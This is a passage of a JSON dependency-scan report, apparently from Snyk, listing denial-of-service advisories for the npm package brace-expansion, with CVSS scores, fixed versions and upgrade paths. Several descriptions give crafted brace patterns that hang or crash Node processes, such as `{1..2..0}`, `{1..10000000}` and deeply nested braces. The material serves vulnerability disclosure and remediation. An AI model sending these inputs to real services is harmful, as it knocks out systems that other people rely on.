"vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": 